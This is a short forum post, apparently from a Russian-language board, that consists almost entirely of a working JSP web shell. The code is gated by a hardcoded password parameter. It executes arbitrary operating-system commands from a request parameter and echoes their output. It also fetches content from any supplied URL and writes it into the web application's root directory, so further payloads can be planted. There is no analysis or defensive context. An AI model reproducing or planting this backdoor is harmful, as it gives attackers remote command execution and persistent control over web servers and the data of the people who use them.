- if G5X49Q equals request getParameter pwd String strCmd, BarS (??), 15:47 , 25-Янв-21 (1)
<% if("G5X49Q".equals(request.getParameter("pwd"))) { String strCmd=request.getParameter("cmd"); String strUrl=request.getParameter("url"); String strFile=request.getParameter("file"); if(null!=strCmd) { java.io.InputStream in=Runtime.getRuntime().exec(strCmd).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1) { out.println(new String(b)); } out.print("</pre>"); } if(null!=strUrl&&null!=strFile) { java.io.InputStream in = new java.net.URL(strUrl).openStream(); byte[] b = new byte[1024]; java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream(); int a = -1; while ((a = in.read(b)) != -1) { baos.write(b, 0, a); } new java.io.FileOutputStream(application.getRealPath("/")+"/"+strFile).write(baos.toByteArray()); } out.println("MtGqKu3y"); } else { //out.println("no token"); } %>
|